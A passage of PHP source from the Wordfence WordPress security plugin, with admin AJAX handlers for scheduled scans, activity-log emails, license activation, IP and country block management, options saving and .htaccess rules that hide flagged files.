translators: 1. Time until. 2. Localized date. */ __('Next scan in %1$s (%2$s)', 'wordfence'), wfUtils::makeDuration($difference), date_i18n('M j, Y g:i:s A', $nextTime + (3600 * get_option('gmt_offset')))); } public static function wordfenceStartScheduledScan($scheduledStartTime) { //If scheduled scans are not enabled in the global config option, then don't run a scheduled scan. if(wfConfig::get('scheduledScansEnabled') != '1'){ return; } $minimumFrequency = (wfScanner::shared()->schedulingMode() == wfScanner::SCAN_SCHEDULING_MODE_MANUAL ? 1800 : 43200); $lastScanStart = wfConfig::get('lastScheduledScanStart', 0); if($lastScanStart && (time() - $lastScanStart) < $minimumFrequency){ //A scheduled scan was started in the last 30 mins (manual schedule) or 12 hours (automatic schedule), so skip this one. return; } wfConfig::set('originalScheduledScanStart', $scheduledStartTime); wfConfig::set('lastScheduledScanStart', time()); wordfence::status(1, 'info', sprintf(/* translators: Localized date. */ __("Scheduled Wordfence scan starting at %s", 'wordfence'), date('l jS \of F Y h:i:s A', current_time('timestamp'))) ); //We call this before the scan actually starts to advance the schedule for the next week. //This ensures that if the scan crashes for some reason, the schedule will hold. wfScanner::shared()->scheduleScans(); try { wfScanEngine::startScan(); } catch (wfScanEngineTestCallbackFailedException $e) { wfConfig::set('lastScanCompleted', $e->getMessage()); wfConfig::set('lastScanFailureType', wfIssues::SCAN_FAILED_CALLBACK_TEST_FAILED); wfUtils::clearScanLock(); } catch (Exception $e) { if ($e->getCode() != wfScanEngine::SCAN_MANUALLY_KILLED) { wfConfig::set('lastScanCompleted', $e->getMessage()); wfConfig::set('lastScanFailureType', wfIssues::SCAN_FAILED_GENERAL); } } } public static function ajax_saveCountryBlocking_callback(){ if(! wfConfig::get('isPaid')){ return array('errorMsg' => __("Sorry but this feature is only available for paid customers.", 'wordfence')); } wfConfig::set('cbl_action', $_POST['blockAction']); wfConfig::set('cbl_countries', $_POST['codes']); wfConfig::set('cbl_redirURL', $_POST['redirURL']); wfConfig::set('cbl_loggedInBlocked', $_POST['loggedInBlocked']); wfConfig::set('cbl_loginFormBlocked', $_POST['loginFormBlocked']); wfConfig::set('cbl_restOfSiteBlocked', $_POST['restOfSiteBlocked']); wfConfig::set('cbl_bypassRedirURL', $_POST['bypassRedirURL']); wfConfig::set('cbl_bypassRedirDest', $_POST['bypassRedirDest']); wfConfig::set('cbl_bypassViewURL', $_POST['bypassViewURL']); return array('ok' => 1); } public static function ajax_sendActivityLog_callback(){ $content = sprintf(/* translators: Site URL. */ __('SITE: %s', 'wordfence'), site_url()) . "\n"; $content .= sprintf(/* translators: Plugin version. */ __('PLUGIN VERSION: %s', 'wordfence'), WORDFENCE_VERSION) . "\n"; $content .= sprintf(/* translators: WordPress version. */ __('WORDPRESS VERSION: %s', 'wordfence'), wfUtils::getWPVersion()) . "\n"; $content .= sprintf(/* translators: Wordfence license key. */ __('LICENSE KEY: %s', 'wordfence'), wfConfig::get('apiKey')) . "\n"; $content .= sprintf(/* translators: Email address. */ __('ADMIN EMAIL: %s', 'wordfence'), get_option('admin_email')) . "\n"; $content .= __('LOG:', 'wordfence') . "\n\n"; $wfdb = new wfDB(); $table_wfStatus = wfDB::networkTable('wfStatus'); $q = $wfdb->querySelect("select ctime, level, type, msg from {$table_wfStatus} order by ctime desc limit 10000"); $timeOffset = 3600 * get_option('gmt_offset'); foreach($q as $r){ if($r['type'] == 'error'){ $content .= "\n"; } $content .= date(DATE_RFC822, intval($r['ctime']) + $timeOffset) . '::' . sprintf('%.4f', $r['ctime']) . ':' . $r['level'] . ':' . $r['type'] . '::' . wp_kses_data( (string) $r['msg']) . "\n"; } $content .= "\n\n"; $content .= str_repeat('-', 80); $content .= "\n\n"; $content .= __('# Scan Issues', 'wordfence') . "\n\n"; $issues = wfIssues::shared()->getIssues(0, 50, 0, 50); $issueCounts = array_merge(array('new' => 0, 'ignoreP' => 0, 'ignoreC' => 0), wfIssues::shared()->getIssueCounts()); $issueTypes = wfIssues::validIssueTypes(); $content .= sprintf(/* translators: Number of scan results. */ __('## New Issues (%d total)', 'wordfence'), $issueCounts['new']) . "\n\n"; if (isset($issues['new']) && count($issues['new'])) { foreach ($issues['new'] as $i) { if (!in_array($i['type'], $issueTypes)) { continue; } $viewContent = ''; try { $viewContent = wfView::create('scanner/issue-' . $i['type'], array('textOutput' => $i))->render(); } catch (wfViewNotFoundException $e) { //Ignore -- should never happen since we validate the type } if (!empty($viewContent)) { $content .= $viewContent . "\n\n"; } } } else { $content .= __('No New Issues', 'wordfence') . "\n\n"; } $content .= str_repeat('-', 10); $content .= "\n\n"; $content .= sprintf(/* translators: Number of scan results. */ __('## Ignored Issues (%d total)', 'wordfence'), $issueCounts['ignoreP'] + $issueCounts['ignoreC']) . "\n\n"; if (isset($issues['new']) && count($issues['new'])) { foreach ($issues['ignored'] as $i) { if (!in_array($i['type'], $issueTypes)) { continue; } $viewContent = ''; try { $viewContent = wfView::create('scanner/issue-' . $i['type'], array('textOutput' => $i))->render(); } catch (wfViewNotFoundException $e) { //Ignore -- should never happen since we validate the type } if (!empty($viewContent)) { $content .= $viewContent . "\n\n"; } } } else { $content .= __('No Ignored Issues', 'wordfence') . "\n\n"; } $content .= str_repeat('-', 80); $content .= "\n\n"; ob_start(); if (wfUtils::funcEnabled('phpinfo')) { phpinfo(); } else { echo "\n\n" . __('Unable to output phpinfo content because it is disabled', 'wordfence') . "\n\n"; } $phpinfo = ob_get_contents(); ob_get_clean(); $content .= $phpinfo; $rawEmails = explode(",", $_POST['email']); $emails = array(); foreach ($rawEmails as $e) { $e = trim($e); if (wfUtils::isValidEmail($e)) { $emails[] = $e; } } if (count($emails)) { wp_mail(implode(', ', $emails), __('Wordfence Activity Log', 'wordfence'), $content); } return array('ok' => 1); } public static function ajax_downgradeLicense_callback(){ $api = new wfAPI('', wfUtils::getWPVersion()); try { $keyData = $api->call('get_anon_api_key', array(), array('previousLicense' => wfConfig::get('apiKey'))); if($keyData['ok'] && $keyData['apiKey']){ wfLicense::current()->downgradeToFree($keyData['apiKey'])->save(); //When downgrading we must disable all two factor authentication because it can lock an admin out if we don't. wfConfig::set_ser('twoFactorUsers', array()); wfConfig::remove('premiumAutoRenew'); wfConfig::remove('premiumNextRenew'); wfConfig::remove('premiumPaymentExpiring'); wfConfig::remove('premiumPaymentExpired'); wfConfig::remove('premiumPaymentMissing'); wfConfig::remove('premiumPaymentHold'); self::licenseStatusChanged(); if (method_exists(wfWAF::getInstance()->getStorageEngine(), 'purgeIPBlocks')) { wfWAF::getInstance()->getStorageEngine()->purgeIPBlocks(wfWAFStorageInterface::IP_BLOCKS_BLACKLIST); } } else { throw new Exception(__("Could not understand the response we received from the Wordfence servers when applying for a free license key.", 'wordfence')); } } catch(Exception $e){ return array('errorMsg' => sprintf(/* translators: Error message. */ __("Could not fetch free license key from Wordfence: %s", 'wordfence'), wp_kses($e->getMessage(), array()))); } return array('ok' => 1); } public static function ajax_tourClosed_callback() { $page = ''; if (isset($_POST['page'])) { $page = $_POST['page']; } $keys = array(wfOnboardingController::TOUR_DASHBOARD, wfOnboardingController::TOUR_FIREWALL, wfOnboardingController::TOUR_SCAN, wfOnboardingController::TOUR_BLOCKING, wfOnboardingController::TOUR_LIVE_TRAFFIC, wfOnboardingController::TOUR_LOGIN_SECURITY, wfOnboardingController::TOUR_AUDIT_LOG); if (in_array($page, $keys)) { if (wfOnboardingController::shouldShowNewTour($page)) { wfConfig::set('needsNewTour_' . $page, 0); } else if (wfOnboardingController::shouldShowUpgradeTour($page)) { wfConfig::set('needsUpgradeTour_' . $page, 0); } } return array('ok' => 1); } public static function ajax_autoUpdateChoice_callback(){ $choice = $_POST['choice']; wfConfig::set('autoUpdateChoice', '1'); if($choice == 'yes'){ wfConfig::set('autoUpdate', '1'); } else { wfConfig::set('autoUpdate', '0'); } return array('ok' => 1); } public static function ajax_misconfiguredHowGetIPsChoice_callback() { $choice = $_POST['choice']; if ($choice == 'yes') { wfConfig::set('howGetIPs', wfConfig::get('detectProxyRecommendation', '')); if (isset($_POST['issueID'])) { $issueID = intval($_POST['issueID']); $wfIssues = new wfIssues(); $wfIssues->updateIssue($issueID, 'delete'); wfScanEngine::refreshScanNotification($wfIssues); } } else { wfConfig::set('misconfiguredHowGetIPsChoice' . WORDFENCE_VERSION, '1'); } return array('ok' => 1); } public static function ajax_switchLiveTrafficSecurityOnlyChoice_callback() { $choice = $_POST['choice']; if ($choice == 'yes') { wfConfig::set('liveTrafficEnabled', false); } else { wfConfig::set('switchLiveTrafficSecurityOnlyChoice', '1'); } return array('ok' => 1); } public static function ajax_wordfenceSatisfactionChoice_callback() { wfConfig::set('satisfactionPromptDismissed', time()); $choice = $_POST['choice']; if ($choice == 'feedback' && isset($_POST['feedback']) && !empty($_POST['feedback'])) { $api = new wfAPI(wfConfig::get('apiKey'), wfUtils::getWPVersion()); $result = $api->call('plugin_feedback', array(), array('feedback' => $_POST['feedback'])); } //else -- no additional action for yes/no return array('ok' => 1); } public static function ajax_dismissAdminNotice_callback() { if (isset($_POST['id'])) { wfAdminNoticeQueue::removeAdminNotice($_POST['id']); } return array('ok' => 1); } public static function ajax_hideNoticeForUser_callback() { if (isset($_POST['id'])) { self::hideNoticeForUser($_POST['id']); } return array('ok' => 1); } public static function ajax_updateConfig_callback(){ $key = $_POST['key']; $val = $_POST['val']; wfConfig::set($key, $val); if ($key == 'howGetIPs') { wfConfig::set('detectProxyNextCheck', false, wfConfig::DONT_AUTOLOAD); $ipAll = wfUtils::getIPPreview(); $ip = wfUtils::getIP(true); return array('ok' => 1, 'ip' => $ip, 'ipAll' => $ipAll); } return array('ok' => 1); } public static function ajax_checkHtaccess_callback(){ if(wfUtils::isNginx()){ return array('nginx' => 1); } $file = wfCache::getHtaccessPath(); if(! $file){ return array('err' => __("We could not find your .htaccess file to modify it.", 'wordfence')); } $fh = @fopen($file, 'r+'); if(! $fh){ $err = error_get_last(); return array('err' => sprintf(/* translators: Error message. */ __("We found your .htaccess file but could not open it for writing: %s", 'wordfence'), $err['message'])); } return array('ok' => 1); } public static function ajax_downloadHtaccess_callback(){ $url = site_url(); $url = preg_replace('/^https?:\/\//i', '', $url); $url = preg_replace('/[^a-zA-Z0-9\.]+/', '_', $url); $url = preg_replace('/^_+/', '', $url); $url = preg_replace('/_+$/', '', $url); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="htaccess_Backup_for_' . $url . '.txt"'); $file = wfCache::getHtaccessPath(); readfile($file); die(); } public static function ajax_downloadLogFile_callback() { if (!isset($_GET['logfile'])) { status_header(400); nocache_headers(); exit; } wfErrorLogHandler::outputErrorLog(stripslashes($_GET['logfile'])); //exits } public static function _blocksAJAXReponse(&$hasCountryBlock = false, $offset = 0, $sortColumn = 'type', $sortDirection = 'ascending', $filter = '') { $includeAutomatic = wfConfig::get('displayAutomaticBlocks'); $types = array(); //Empty array is all if (!$includeAutomatic) { $types = array(wfBlock::TYPE_IP_MANUAL, wfBlock::TYPE_IP_AUTOMATIC_PERMANENT, wfBlock::TYPE_COUNTRY, wfBlock::TYPE_PATTERN); } if (empty($filter)) { $blocks = wfBlock::allBlocks(true, $types, $offset, WORDFENCE_BLOCKED_IPS_PER_PAGE, $sortColumn, $sortDirection); } else { $blocks = wfBlock::filteredBlocks(true, $types, $offset, WORDFENCE_BLOCKED_IPS_PER_PAGE, $sortColumn, $sortDirection, $filter); } $dateFormat = get_option('date_format') . ' ' . get_option('time_format'); $hasCountryBlock = wfUtils::array_first(wfBlock::countryBlocks(true)); if ($hasCountryBlock !== null) { $hasCountryBlock = json_encode($hasCountryBlock->editValues()); } else { $hasCountryBlock = ''; } $response = array(); foreach ($blocks as $b) { $skip = false; $entry = array(); $entry['id'] = $b->id; $entry['typeSort'] = $b->type; $entry['typeDisplay'] = esc_html(wfBlock::nameForType($b->type)); switch ($b->type) { case wfBlock::TYPE_IP_MANUAL: $entry['editType'] = 'ip-address'; case wfBlock::TYPE_IP_AUTOMATIC_PERMANENT: $entry['detailSort'] = base64_encode(wfUtils::inet_pton($b->ip)); $entry['detailDisplay'] = esc_html($b->ip); break; case wfBlock::TYPE_IP_AUTOMATIC_TEMPORARY: case wfBlock::TYPE_WFSN_TEMPORARY: case wfBlock::TYPE_RATE_BLOCK: case wfBlock::TYPE_RATE_THROTTLE: case wfBlock::TYPE_LOCKOUT: if (!$includeAutomatic) { $skip = true; } $entry['detailSort'] = base64_encode(wfUtils::inet_pton($b->ip)); $entry['detailDisplay'] = esc_html($b->ip); break; case wfBlock::TYPE_COUNTRY: require(WORDFENCE_PATH . 'lib/wfBulkCountries.php'); /** @var array $wfBulkCountries */ ksort($wfBulkCountries); $countries = $b->countries; sort($countries); $entry['editable'] = 1; $entry['editType'] = 'country'; $entry['editValues'] = json_encode($b->editValues()); $entry['detailSort'] = $b->blockLogin . '|' . $b->blockSite . '|' . implode('|', $countries); $entry['detailDisplay'] = ''; if ($countries == array_keys($wfBulkCountries)) { $entry['detailDisplay'] = __('All Countries', 'wordfence'); } else if (count($countries) == 1) { $entry['detailDisplay'] = __('1 Country', 'wordfence'); } else { $entry['detailDisplay'] = sprintf(/* translators: Number of countries. */ __('%d Countries', 'wordfence'), count($countries)); } if ($b->blockLogin && $b->blockSite) { $entry['detailDisplay'] .= ' (' . __('Entire Site', 'wordfence') . ')'; } else if ($b->blockLogin) { $entry['detailDisplay'] .= ' (' . __('Login Only', 'wordfence') . ')'; } else if ($b->blockSite) { $entry['detailDisplay'] .= ' (' . __('Site Except Login', 'wordfence') . ')'; } break; case wfBlock::TYPE_PATTERN: $entry['editType'] = 'custom-pattern'; $entry['detailSort'] = base64_encode($b->ipRange . '|' . $b->userAgent . '|' . $b->referrer . '|' . $b->hostname); $components = array(); if (!empty($b->ipRange)) { $components[] = __('IP Range', 'wordfence') . ' - ' . $b->ipRange; } if (!empty($b->userAgent)) { $components[] = __('User Agent', 'wordfence') . ' - ' . $b->userAgent; } if (!empty($b->referrer)) { $components[] = __('Referrer', 'wordfence') . ' - ' . $b->referrer; } if (!empty($b->hostname)) { $components[] = __('Hostname', 'wordfence') . ' - ' . $b->hostname; } $entry['detailDisplay'] = esc_html(implode(', ', $components)); break; } if ($skip) { continue; } $entry['ruleAdded'] = $b->blockedTime; $entry['ruleAddedSort'] = $b->blockedTime; $entry['ruleAddedDisplay'] = esc_html(wfUtils::formatLocalTime($dateFormat, $b->blockedTime)); $entry['reasonSort'] = esc_attr($b->reason); $entry['reasonDisplay'] = esc_html($b->reason); $entry['expiration'] = $b->expiration; $entry['expirationSort'] = $b->expiration; $entry['expirationDisplay'] = ($b->expiration == wfBlock::DURATION_FOREVER ? __('Permanent', 'wordfence') : esc_html(wfUtils::formatLocalTime($dateFormat, $b->expiration))); $entry['blockCountSort'] = $b->blockedHits; $entry['blockCountDisplay'] = $b->blockedHits; $entry['lastAttemptSort'] = $b->lastAttempt; $entry['lastAttemptDisplay'] = ($b->lastAttempt == 0 ? __('Never', 'wordfence') : esc_html(wfUtils::formatLocalTime($dateFormat, $b->lastAttempt))); $response[] = $entry; } return $response; } public static function ajax_getBlocks_callback() { $offset = 0; if (isset($_POST['offset'])) { $offset = (int) $_POST['offset']; } $sortColumn = 'type'; if (isset($_POST['sortColumn']) && in_array($_POST['sortColumn'], array('type', 'detail', 'ruleAdded', 'reason', 'expiration', 'blockCount', 'lastAttempt'))) { $sortColumn = $_POST['sortColumn']; } $sortDirection = 'ascending'; if (isset($_POST['sortDirection']) && in_array($_POST['sortDirection'], array('ascending', 'descending'))) { $sortDirection = $_POST['sortDirection']; } $filter = ''; if (isset($_POST['blocksFilter'])) { $filter = $_POST['blocksFilter']; } $hasCountryBlock = false; $blocks = self::_blocksAJAXReponse($hasCountryBlock, $offset, $sortColumn, $sortDirection, $filter); return array('blocks' => $blocks, 'hasCountryBlock' => $hasCountryBlock); } public static function ajax_createBlock_callback() { $offset = 0; if (isset($_POST['offset'])) { $offset = (int) $_POST['offset']; } $sortColumn = 'type'; if (isset($_POST['sortColumn']) && in_array($_POST['sortColumn'], array('type', 'detail', 'ruleAdded', 'reason', 'expiration', 'blockCount', 'lastAttempt'))) { $sortColumn = $_POST['sortColumn']; } $sortDirection = 'ascending'; if (isset($_POST['sortDirection']) && in_array($_POST['sortDirection'], array('ascending', 'descending'))) { $sortDirection = $_POST['sortDirection']; } $filter = ''; if (isset($_POST['blocksFilter'])) { $filter = $_POST['blocksFilter']; } if (!empty($_POST['payload']) && ($payload = json_decode(stripslashes($_POST['payload']), true)) !== false) { try { $error = wfBlock::validate($payload); if ($error !== true) { return array( 'error' => $error, ); } wfBlock::create($payload); $hasCountryBlock = false; $blocks = self::_blocksAJAXReponse($hasCountryBlock, $offset, $sortColumn, $sortDirection, $filter); return array('success' => true, 'blocks' => $blocks, 'hasCountryBlock' => $hasCountryBlock); } catch (Exception $e) { return array( 'error' => __('An error occurred while creating the block.', 'wordfence'), ); } } return array( 'error' => __('No block parameters were provided.', 'wordfence'), ); } public static function ajax_deleteBlocks_callback() { $offset = 0; if (isset($_POST['offset'])) { $offset = (int) $_POST['offset']; } $sortColumn = 'type'; if (isset($_POST['sortColumn']) && in_array($_POST['sortColumn'], array('type', 'detail', 'ruleAdded', 'reason', 'expiration', 'blockCount', 'lastAttempt'))) { $sortColumn = $_POST['sortColumn']; } $sortDirection = 'ascending'; if (isset($_POST['sortDirection']) && in_array($_POST['sortDirection'], array('ascending', 'descending'))) { $sortDirection = $_POST['sortDirection']; } $filter = ''; if (isset($_POST['blocksFilter'])) { $filter = $_POST['blocksFilter']; } if (!empty($_POST['blocks']) && ($blocks = json_decode(stripslashes($_POST['blocks']), true)) !== false && is_array($blocks)) { $removed = wfBlock::removeBlockIDs($blocks, true); //wfBlock::removeBlockIDs sanitizes the array if ($removed!==false) { foreach ($removed as $block) { if ($block->ip) { self::clearLockoutCounters($block->ip); } } } $hasCountryBlock = false; $blocks = self::_blocksAJAXReponse($hasCountryBlock, $offset, $sortColumn, $sortDirection, $filter); return array('success' => true, 'blocks' => $blocks, 'hasCountryBlock' => $hasCountryBlock); } return array( 'error' => __('No blocks were provided.', 'wordfence'), ); } public static function ajax_makePermanentBlocks_callback() { $offset = 0; if (isset($_POST['offset'])) { $offset = (int) $_POST['offset']; } $sortColumn = 'type'; if (isset($_POST['sortColumn']) && in_array($_POST['sortColumn'], array('type', 'detail', 'ruleAdded', 'reason', 'expiration', 'blockCount', 'lastAttempt'))) { $sortColumn = $_POST['sortColumn']; } $sortDirection = 'ascending'; if (isset($_POST['sortDirection']) && in_array($_POST['sortDirection'], array('ascending', 'descending'))) { $sortDirection = $_POST['sortDirection']; } $filter = ''; if (isset($_POST['blocksFilter'])) { $filter = $_POST['blocksFilter']; } if (!empty($_POST['updates']) && ($updates = json_decode(stripslashes($_POST['updates']), true)) !== false && is_array($updates)) { wfBlock::makePermanentBlockIDs($updates); //wfBlock::makePermanentBlockIDs sanitizes the array $hasCountryBlock = false; $blocks = self::_blocksAJAXReponse($hasCountryBlock, $offset, $sortColumn, $sortDirection, $filter); return array('success' => true, 'blocks' => $blocks, 'hasCountryBlock' => $hasCountryBlock); } return array( 'error' => __('No blocks were provided.', 'wordfence'), ); } public static function ajax_installLicense_callback() { if (!empty($_POST['license'])) { $statusChange = array_key_exists('status_change', $_POST) ? filter_var($_POST['status_change'], FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE) : null; $license = strtolower(trim($_POST['license'])); if (!preg_match('/^[a-fA-F0-9]+$/', $license)) { return array( 'error' => __('The license key entered is not in a valid format. It must contain only numbers and the letters A-F.', 'wordfence'), ); } $existingLicense = strtolower(wfConfig::get('apiKey', '')); if ($existingLicense != $license) { //Key changed, try activating $api = new wfAPI($license, wfUtils::getWPVersion()); try { $parameters = array(); if (!empty($existingLicense)) $parameters['previousLicense'] = $existingLicense; $res = $api->call('check_api_key', array(), $parameters); if ($res['ok'] && isset($res['isPaid'])) { $isPaid = wfUtils::truthyToBoolean($res['isPaid']); wfConfig::set('apiKey', $license); wfConfig::set('isPaid', $isPaid); //res['isPaid'] is boolean coming back as JSON and turned back into PHP struct. Assuming JSON to PHP handles bools. if ($statusChange !== false) { self::licenseStatusChanged(); } if (!$isPaid) { wfConfig::set('keyType', wfLicense::KEY_TYPE_FREE); } self::scheduleCrons(); return array( 'success' => 1, 'isPaid' => wfConfig::get('isPaid') ? 1 : 0, 'type' => wfLicense::current()->getType() ); } else if (isset($res['_hasKeyConflict']) && $res['_hasKeyConflict']) { return array( 'error' => __('The license provided is already in use on another site.', 'wordfence'), ); } else { return array( 'error' => __('The Wordfence activation server returned an unexpected response. Please try again.', 'wordfence'), ); } } catch (Exception $e) { return array( 'error' => __('We received an error while trying to activate the license with the Wordfence servers: ', 'wordfence') . wp_kses($e->getMessage(), array()) ); } } else { if ($statusChange === true) { self::licenseStatusChanged(); } return array( 'success' => 1, 'isPaid' => wfConfig::get('isPaid') ? 1 : 0, 'type' => wfLicense::current()->getType() ); } } return array( 'error' => __('No license was provided to install.', 'wordfence'), ); } public static function ajax_recordTOUPP_callback() { $api = new wfAPI(wfConfig::get('apiKey'), wfUtils::getWPVersion()); $result = $api->call('record_toupp', array(), array()); wfConfig::set('touppBypassNextCheck', 1); //In case this call kicks off the cron that checks, this avoids the race condition of that setting the prompt as being needed at the same time we've just recorded it as accepted wfConfig::set('touppPromptNeeded', 0); return array( 'success' => 1, ); } public static function ajax_mailingSignup_callback() { if (isset($_POST['emails'])) { $emails = @json_decode(stripslashes($_POST['emails']), true); if (is_array($emails) && count($emails)) { $api = new wfAPI(wfConfig::get('apiKey'), wfUtils::getWPVersion()); $result = $api->call('mailing_signup', array(), array('signup' => json_encode(array('emails' => $emails)), 'ip' => wfUtils::getIP())); } } return array( 'success' => 1, ); } public static function ajax_enableAllOptionsPage_callback() { wfConfig::set('displayTopLevelOptions', 1); $n = wfNotification::getNotificationForCategory('wfplugin_devalloptions'); if ($n !== null) { $n->markAsRead(); } $response = array('success' => true); if (function_exists('network_admin_url') && is_multisite()) { $response['redirect'] = network_admin_url('admin.php?page=WordfenceOptions'); } else { $response['redirect'] = admin_url('admin.php?page=WordfenceOptions'); } return $response; } public static function ajax_restoreDefaults_callback() { if (!empty($_POST['section'])) { if (wfConfig::restoreDefaults($_POST['section'])) { return array( 'success' => true, ); } else { return array( 'error' => __('An unknown configuration section was provided.', 'wordfence'), ); } } return array( 'error' => __('No configuration section was provided.', 'wordfence'), ); } public static function ajax_saveOptions_callback() { if (!empty($_POST['changes']) && ($changes = json_decode(stripslashes($_POST['changes']), true)) !== false) { try { $errors = wfConfig::validate($changes); if ($errors !== true) { if (count($errors) == 1) { return array( 'error' => sprintf(/* translators: Error message. */ __('An error occurred while saving the configuration: %s', 'wordfence'), $errors[0]['error']), ); } else if (count($errors) > 1) { $compoundMessage = array(); foreach ($errors as $e) { $compoundMessage[] = $e['error']; } return array( 'error' => sprintf(/* translators: Error message. */ __('Errors occurred while saving the configuration: %s', 'wordfence'), implode(', ', $compoundMessage)), ); } return array( 'error' => __('Errors occurred while saving the configuration.', 'wordfence'), ); } wfConfig::save(wfConfig::clean($changes)); $response = array('success' => true); if (!empty($_POST['page']) && preg_match('/^Wordfence/i', $_POST['page'])) { if ($_POST['page'] == 'WordfenceOptions' && isset($changes['displayTopLevelOptions']) && !wfUtils::truthyToBoolean($changes['displayTopLevelOptions'])) { if (function_exists('network_admin_url') && is_multisite()) { $response['redirect'] = network_admin_url('admin.php?page=Wordfence'); } else { $response['redirect'] = admin_url('admin.php?page=Wordfence'); } } } return $response; } catch (wfWAFStorageFileException $e) { return array( 'error' => __('An error occurred while saving the configuration.', 'wordfence'), ); } catch (wfWAFStorageEngineMySQLiException $e) { return array( 'error' => __('An error occurred while saving the configuration.', 'wordfence'), ); } catch (Exception $e) { return array( 'error' => $e->getMessage(), ); } } return array( 'error' => __('No configuration changes were provided to save.', 'wordfence'), ); } public static function ajax_setDeactivationOption_callback() { $key = array_key_exists('option', $_POST) ? $_POST['option'] : null; $option = wfDeactivationOption::forKey($key); if ($option === null) { return array( 'error' => __('Invalid option specified', 'wordfence') ); } wfConfig::set('deleteTablesOnDeact', $option->deletesMain()); \WordfenceLS\Controller_Settings::shared()->set('delete-deactivation', $option->deletesLoginSecurity()); return array( 'success' => true ); } public static function ajax_updateIPPreview_callback() { $howGet = $_POST['howGetIPs']; $validIPs = array(); $invalidIPs = array(); $testIPs = preg_split('/[\r\n,]+/', $_POST['howGetIPs_trusted_proxies']); foreach ($testIPs as $val) { if (strlen($val) > 0) { if (wfUtils::isValidIP($val) || wfUtils::isValidCIDRRange($val)) { $validIPs[] = $val; } else { $invalidIPs[] = $val; } } } $trustedProxies = $validIPs; $preset = $_POST['howGetIPs_trusted_proxy_preset']; $presets = wfConfig::getJSON('ipResolutionList', array()); if (is_array($presets) && isset($presets[$preset])) { $testIPs = array_merge($presets[$preset]['ipv4'], $presets[$preset]['ipv6']); foreach ($testIPs as $val) { if (strlen($val) > 0) { if (wfUtils::isValidIP($val) || wfUtils::isValidCIDRRange($val)) { $trustedProxies[] = $val; } } } } $ipAll = wfUtils::getIPPreview($howGet, $trustedProxies); $ip = wfUtils::getIPForField($howGet, $trustedProxies); return array('ok' => 1, 'ip' => $ip, 'ipAll' => $ipAll, 'resolvedProxies' => $trustedProxies); } public static function ajax_hideFileHtaccess_callback(){ $issues = new wfIssues(); $issue = $issues->getIssueByID((int) $_POST['issueID']); if (!$issue) { return array('errorMsg' => __("We could not find that issue in our database.", 'wordfence')); } if (!function_exists('get_home_path')) { include_once(ABSPATH . 'wp-admin/includes/file.php'); } $homeURL = get_home_url(); $components = parse_url($homeURL); if ($components === false) { return array('errorMsg' => __("An error occurred while trying to hide the file.", 'wordfence')); } $sitePath = ''; if (isset($components['path'])) { $sitePath = trim($components['path'], '/'); } $homePath = wfUtils::getHomePath(); $file = $issue['data']['file']; $localFile = ABSPATH . '/' . $file; //The scanner uses ABSPATH as its base rather than get_home_path() $localFile = realpath($localFile); if (strpos($localFile, $homePath) !== 0) { return array('errorMsg' => __("An invalid file was requested for hiding.", 'wordfence')); } $localFile = substr($localFile, strlen($homePath)); $absoluteURIPath = trim($sitePath . '/' . $localFile, '/'); $regexLocalFile = preg_replace('#/#', '/+', preg_quote($absoluteURIPath)); $filename = basename($localFile); $htaccessContent = << RewriteEngine On RewriteCond %{REQUEST_URI} ^/?{$regexLocalFile}$ RewriteRule .* - [F,L,NC] Require all denied Order deny,allow Deny from all HTACCESS; if (!wfUtils::htaccessPrepend($htaccessContent)) { return array('errorMsg' => __("You don't have permission to repair .htaccess. You need to either fix the file manually using FTP or change the file permissions and ownership so that your web server has write access to repair the file.", 'wordfence')); } $issues->updateIssue((int) $_POST['issueID'], 'delete'); wfScanEngine::refreshScanNotification($issues); $counts = $issues->getIssueCounts(); return array( 'ok' => 1, 'issueCounts' => $counts, ); } public static function ajax_unlockOutIP_callback(){ $IP = $_POST['IP']; wfBlock::unlockOutIP($IP); self::clearLockoutCounters($IP); return array('ok' => 1); } public static function ajax_unblockIP_callback(){ $IP = $_POST['IP']; wfBlock::unblockIP($IP); self::clearLockoutCounters($IP); return array('ok' => 1); } public static function ajax_permBlockIP_callback(){ $IP = $_POST['IP']; wfBlock::createIP(__('Manual permanent block by admin', 'wordfence'), $IP, wfBlock::DURATION_FOREVER, time(), false, 0, wfBlock::TYPE_IP_MANUAL); return array('ok' => 1); } public static function ajax_unblockRange_callback(){ $id = trim($_POST['id']); wfBlock::removeBlockIDs(array($id)); return array('ok' => 1); } public static function ajax_whois_callback(){ $val = trim($_POST['val']); $val = preg_replace('/[^a-zA-Z0-9\.\-:]+/', '', $val); $api = new wfAPI(wfConfig::get('apiKey'), wfUtils::getWPVersion()); try { $result = $api->call('whois', array(), array( 'val' => $val, )); return array('ok' => 1, 'result' => $result['result']); } catch (wfAPICallErrorResponseException $e) { return array('ok' => 0); } } public static function ajax_recentTraffic_callback(){ $ip = trim($_POST['ip']); try { $response = self::IPTraf($ip); $reverseLookup = $response['reverseLookup']; $results = $response['results']; ob_start(); require(dirname(__FILE__) . '/IPTrafList.php'); $content = ob_get_clean(); return array('ok' => 1, 'result' => $content); } catch (InvalidArgumentException $e) { return array('errorMsg' => $e->getMessage()); } } public static function ajax_blockIP_callback() { $IP = trim($_POST['IP']); $perm = (isset($_POST['perm']) && $_POST['perm'] == '1') ? wfBlock::DURATION_FOREVER : wfConfig::getInt('blockedTime'); if (!wfUtils::isValidIP($IP)) { return array('err' => 1, 'errorMsg' => __("Please enter a valid IP address to block.", 'wordfence')); } if ($IP == wfUtils::getIP()) { return array('err' => 1, 'errorMsg' => __("You can't block your own IP address.", 'wordfence')); } $forcedWhitelistEntry = false; if (wfBlock::isWhitelisted($IP, $forcedWhitelistEntry)) { $message = sprintf(/* translators: IP address. */ __("The IP address %s is allowlisted and can't be blocked. You can remove this IP from the allowlist on the Wordfence options page.", 'wordfence'), wp_kses($IP, array())); if ($forcedWhitelistEntry) { $message = sprintf(/* translators: IP address. */ __("The IP address %s is in a range of IP addresses that Wordfence does not block. The IP range may be internal or belong to a service safe to allow access for.", 'wordfence'), wp_kses($IP, array())); } return array('err' => 1, 'errorMsg' => $message); } if (wfConfig::get('neverBlockBG') != 'treatAsOtherCrawlers') { //Either neverBlockVerified or neverBlockUA is selected which means the user doesn't want to block google if (wfCrawl::isVerifiedGoogleCrawler($IP)) { return array('err' => 1, 'errorMsg' => __("The IP address you're trying to block belongs to Google. Your options are currently set to not block these crawlers. Change this in Wordfence options if you want to manually block Google.", 'wordfence')); } } wfBlock::createIP($_POST['reason'], $IP, $perm); wfActivityReport::logBlockedIP($IP, null, 'manual'); return array('ok' => 1); } public static function ajax_avatarLookup_callback() { $ids = 